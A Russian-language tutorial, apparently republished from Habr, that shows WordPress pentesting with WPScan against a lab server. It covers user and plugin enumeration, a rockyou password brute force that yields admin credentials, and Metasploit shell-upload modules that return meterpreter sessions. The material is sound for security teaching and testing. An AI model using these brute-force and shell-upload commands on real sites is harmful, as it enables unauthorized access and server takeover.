WPScan — мощный фреймворк для пентеста WordPress

от автора

Сегодня более половины всех сайтов работают на CMS, а согласно данным W3Techs 63,7% из них используют WordPress. Если ваш сайт один из таких, тогда в этой статье вы узнаете о том, как проверить его на прочность с помощью одного из самых мощных инструментов для пентеста WordPress – WPScan.

Содержание:

  • Введение
  • Сканирование версии WordPress
  • Сканирование установленных тем оформления
  • Сканирование установленных плагинов
  • Сканирование пользователей
  • Сканирование тем, плагинов и пользователей одной командой
  • Брутфорс с помощью WPScan
  • Загрузка шелла с помощью Metasploit
  • Использование уязвимостей в плагинах
  • Сканирование через прокси-сервер
  • Сканирование с включенной HTTP-аутентификацией

Введение

«WPScan» – blackbox сканер уязвимостей WordPress, написанный на Ruby. Позволяет выявлять уязвимости в:

  • В версии движка.
  • Темах оформления.
  • Плагинах.

WPScan уже предустановлены в ряде ОС для белого хакинга, таких как:

  • Kali Linux
  • SamuraiWTF
  • Pentoo
  • BlackArch

WPScan сканирует свою базу данных, чтобы найти устаревшие версии и уязвимости в движке целевого сайта.

Возможности WPScan:

  • Определяет версию установленного на данный момент WordPress.
  • Обнаруживает конфиденциальные файлы, такие как:
    • readme;
    • robots.txt;
    • файлы замены базы данных и т. Д.
  • Обнаруживает включенные функции на текущем установленном сервере WordPress, таких как file_upload.
  • Перечисляет темы оформления и плагины вместе с их версиями. Вдобавко WPScan сообщает о том, устарели они или нет.
  • Находит все доступные имена пользователей.

Для тестов будем использовать Kali Linux, в которой WPScan уже предустановлен. В качестве жертвы будет WordPress, который мы заранее заранее установили на Ubuntu 20.04. О том, как это лучше сделать будет наш следующий пост.

Проверим параметры использования по умолчанию с помощью следующей команды:

wpscan -hh

Сканирование версии WordPress

Вводим следующую команду, чтобы просканировать WordPress и его сервер.

wpscan --url http://192.168.1.105/wordpress/

На изображении ниже можно заметить, что WPScan выводит:

  • версию WordPress
  • сервер Apache

Он даже обнаружил, что в каталоге загрузки есть список каталогов. Это значит, что любой может перейти к «/wp-content/uploads» для проверки загруженных файлов.

Сканирование установленных тем оформления

Темы оформления играют важную роль в любой CMS, они контролируют общий внешний вид веб-сайта, включая:

  • Макет страницы.
  • Расположение виджетов.
  • Настройки шрифта и цвета по умолчанию.

WPScan для поиска уязвимостей использует свою базу, которая содержит почти 3 тысячи тем оформления.

Чтобы проверить установленные темы целевого движка, введите следующую команду:

wpscan --url http://192.168.1.105/wordpresws/ -e at

Где:

  • «–e» используется для перечисления;
  • «at» выводит «все темы».

Чтобы перечислить только темы с уязвимостями можно использовать «vt».

Таким образом, запустив указанную выше команду, мы увидим установленные темы и их версию.

Сканирование установленных плагинов

Плагины – это небольшие фрагменты кода, которые после установки могут повысить функциональность движка и улучшить его возможности, но порой они наносят больше вреда, чем пользы.

Давайте проверим установленные плагины, выполнив следующую команду:

wpscan --url http://192.168.1.105/wordpress/ -e ap

  • Подобно темам, мы также можем проверить уязвимые плагины с помощью «vp».

Через несколько секунд, WPScan выводит результат, на котором видно видно, что на целевом сайте установлены плагины:

  • mail-masta;
  • reflex-gallery.

В качестве бонуса мы получаем:

  • последнюю версию;
  • дату последнего обновления.

Сканирование пользователей

Чтобы вывести список привилегированных пользователей введем следующую команду:

wpscan –url http://192.168.1.105/wordpress/ -e u

  • «u» найдет имена всех пользователей и выведет их на экран.

Когда WPScan завершит свою работу, мы получим список всех пользователей с их идентификаторами.

Сканирование тем, плагинов и пользователей одной командой

Может ли WPScan одной командой сканировать:

  • Темы оформления.
  • Плагины.
  • Имена пользователей.

Давайте это проверим!

Запустите следующую команду, чтобы сканировать темы, плагины и логины одновременно.

wpscan --url http://192.168.1.105/wordpress/ -e at –e ap –e u

  • –e: at: перечислить все темы целевого сайта;

  • –e: ap: перечислить все плагины целевого веб-сайта;

  • –e: u: перечислить все имена пользователей целевого веб-сайта.

Брутфорс с использованием WPScan

С помощью имен пользователей, которые мы уже получили ранее, мы можем попробовать брутфорс. Для этого потребуется еще список паролей по умолчанию, например, «rockyou.txt».

Начинаем брутфорс командой:

wpscan --url http://192.168.1.105/wordpress/ -U user.txt -P /usr/share/wordlists/rockyou.txt

–U и –P используются для настройки списка имен пользователей и списка паролей соответственно.

WPScan сопоставляет логины и пароли, а затем выводит результат на экран. В нашем случае были найдены 3 правильные комбинации.

Мы получили учетные данные администратора:

  • Логин: admin
  • Пароль: jessica

Теперь попробуем с их помощью попасть в админку.

Загрузка шелла с помощью Metasploit

Вводим следующие команды:

msf > use exploit/unix/webapp/wp_admin_shell_upload msf exploit(wp_admin_shell_upload) > set rhosts 192.168.1.105 msf exploit(wp_admin_shell_upload) > set username admin msf exploit(wp_admin_shell_upload) > set password jessica msf exploit(wp_admin_shell_upload) > set targeturi /wordpress msf exploit(wp_admin_shell_upload) > exploit

Этот модуль принимает имя пользователя и пароль администратора, входит в админку и загружает полезные данные, упакованные в виде плагина WordPress, но главное, он дает нам meterpreter сессию.

Использование уязвимых плагинов

Здесь, на нашем веб-сайте, мы обнаружили уязвимый плагин, а именно «slideshowgallery», который содержит уязвимость при загрузке файла аутентификации. Для ее использования применим следующий модуль, который предложит нам обратное подключение.

use exploit/unix/webapp/wp_slideshowgallery_upload msf exploit(wp_slideshowgallery _upload) > set rhost 192.168.1.105 msf exploit(wp_ slideshowgallery _upload) > set targeturi /wordpress msf exploit(wp_ slideshowgallery _upload) > set username admin msf exploit(wp_ slideshowgallery _upload) > set password jessica msf exploit(wp_ slideshowgallery _upload) > exploit

На изображении видно, что мы успешно получили meterpreter сессию.

Сканирование через прокси-сервер

Является ли прокси-сервер проблемой для WPScan? Давайте это выясним!

Отныне наш WordPress будет работать через прокси-сервер с номером порта 3128.

Теперь, если мы попытаемся сканировать его с использованием параметра по умолчанию, то увидим ошибку.

Итак, давайте попробуем использовать порт прокси для сканирования. Просто выполним следующую команду, чтобы обойти этот прокси-сервер:

wpscan --url http://192.168.1.105/wordpress/ --proxy http://192.168.1.105:3128

На изображении ниже видно, что сканирование удалось.

Сканирование с включенной HTTP-аутентификацией

Многие веб-сайты поддерживают HTTP-аутентификацию, что позволяет скрывать важную информацию от тех, кто эту аутентификацию не прошел.

Мы установили аналогичную проверку для нашего сайта с учетными данными:

  • «raj: 123»

На изображении ниже видно, что при попытке обычного сканирования мы получили предупреждение с просьбой использовать «–http-auth».

Таким образом, после этого предупреждения мы использовали «–http-auth» и ввели свои учетные данные.

wpscan --url http://192.168.1.105/wordpress/ --http-auth raj: 123

Сканирование началось…

ссылка на оригинал статьи https://habr.com/ru/company/alexhost/blog/527612/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *